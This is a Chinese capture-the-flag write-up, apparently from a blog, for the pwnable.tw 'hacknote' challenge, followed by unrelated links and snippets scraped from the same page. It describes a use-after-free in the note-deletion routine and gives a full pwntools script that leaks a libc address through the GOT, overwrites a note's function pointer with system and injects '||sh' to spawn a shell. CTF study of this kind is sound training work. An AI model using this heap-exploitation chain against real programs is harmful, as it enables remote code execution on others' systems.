产生漏洞的原因是free后chunk未置零

unsigned int sub_80487D4()
{
int index; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u);
printf("Index :");
read(, &buf, 4u);
index = atoi(&buf);
if ( index < || index >= global_idx )
{
puts("Out of bound!");
_exit();
}
if ( notelist[index] )
{
free(*((void **)notelist[index] + )); // free content
// free后chunk未置零,uaf
free(notelist[index]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

结构体如下

ptr[i]->struct    //i<5
struct _note
{
func *addr; //0x804862b
int *content;
}note;

利用的思路

note0:    addr()+content()
note1: addr()+content()
free note1,note0
8byte's gadget in fastbin:note0->note1
note2: addr()+content() //content(8) modified to trigger a func_call puts('read@got'),
//read the recv to calculate the libc_base
print(note1)
free note2
8byte's gadget in fastbin:note2's func_ptr->note2's content(aka note1's func_ptr)
note3: addr()+content() //note3's content(8) returns the note1's func_ptr,
//modify it to trigger a call system('||sh')
print(note1)

脚本

from pwn import *

context.log_level='DEBUG'

r=remote('chall.pwnable.tw',10102)
file=ELF('./hacknote')
libc=ELF('./libc_32.so.6')
'''
r=process('./hacknote')
file=ELF('./hacknote')
libc=ELF('/lib/i386-linux-gnu/libc-2.28.so')
''' def add(len,content):
    r.sendlineafter('Your choice :','1')
    r.sendlineafter('Note size :',str(len))
    r.sendafter('Content :',content) def delete(index):
    r.sendlineafter('Your choice :','2')
    r.sendlineafter('Index :',str(index)) def print_note(index):
    r.sendlineafter('Your choice :','3')
    r.sendlineafter('Index :',str(index)) add(16,'a'*16)    #note0
add(16,'a'*16)    #note1 delete(1)
delete(0) read_got=file.got['read']
fun_addr=0x0804862B
add(8,p32(fun_addr)+p32(read_got))
print_note(1)
read_addr=int(u32(r.recv(4)))
success('read_addr'+hex(read_addr))
sys_addr=read_addr-libc.sym['read']+libc.sym['system'] delete(2) #add(8,p32(sys_addr)+';sh;')
add(8,p32(sys_addr)+'||sh')
print_note(1) r.interactive()

ps:这里最后执行的system()调用是print_note函数里的

  if ( notelist[index] )
(*(void (__cdecl **)(void *))notelist[index])(notelist[index]);

即system传入的参数是notelist[index],所以需要字符串截断;截断的方法是||

还有一种方法是利用命令注入传入;sh;(或$0等的参数,$0不能字符截断,这里不可行)

参考web中命令注入漏洞的利用

pwnable.tw hacknote的更多相关文章

  1. pwnable.tw applestore

    存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...

  2. pwnable.tw silver_bullet

    产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...

  3. pwnable.tw dubblesort

    (留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...

  4. pwnable.tw calc

    题目代码量比较大(对于菜鸡我来说orz),找了很久才发现一个能利用的漏洞 运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出 这里调试了一下发现是printf(&q ...

  5. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  6. 【pwnable.tw】 starbound

    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...

  7. Pwnable.tw start

    Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...

  8. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

  9. pwnable.tw unexploitable 分析

    这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...

随机推荐

  1. 微信内分享第三方H5链接无法使用内置浏览器打开的解决方案

    很多朋友在微信内想分享转发H5链接的时候都会很容易碰到H5链接在微信内无法打开或在微信内无法打开app下载页的情况.通常这种情况微信会给个提示 “已停止访问该网址” ,那么导致这个情况的因素有哪些呢, ...

  2. CSS3 移动端 1PX 线变成0.5PX

    .line1 {position:relative} .line1:after {content:'';position:absolute;bottom:0;left:0;width:100%;hei ...

  3. document对象获取例子

    <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title&g ...

  4. React Fullpage

    之前项目需要,单独拿出来做了个demo 目前仅支持收尾加autoheight github地址:https://github.com/zlinggnilz/React-Fullpage

  5. 关系型数据库 VS 非关系型数据库

    一.关系型数据库? 1.概念 关系型数据库是指采用了关系模型来组织数据的数据库.简单来说,关系模式就是二维表格模型. 主要代表:SQL Server,Oracle,Mysql,PostgreSQL. ...

  6. sql 根据身份证号码计算年龄

    ,), GETDATE()) / 365.25) from ConstructionInfo

  7. Xshell配合Screen之ssh会话永不断开

    [转]Xshell配合Screen之ssh会话永不断开 - 海运的博客

  8. Linux内核模块编程——Hello World模块

    Linux内核模块编程 编程环境 Ubuntu 16.04 LTS 什么是模块 内核模块的全称是动态可加载内核模块(Loadable Kernel Modul,KLM),可以动态载入内核,让它成为内核 ...

  9. http验证

    read -p "输入要添加的用户名: " USERNAME read -p "输入密码: " PASSWD printf "$USERNAME:$( ...

  10. SpringMVC 文件上传下载

    目录 文件上传 MultipartFile对象 文件下载 上传下载示例 pom.xml增加 创建uploadForm.jsp 创建uploadForm2.jsp 创建userInfo.jsp spri ...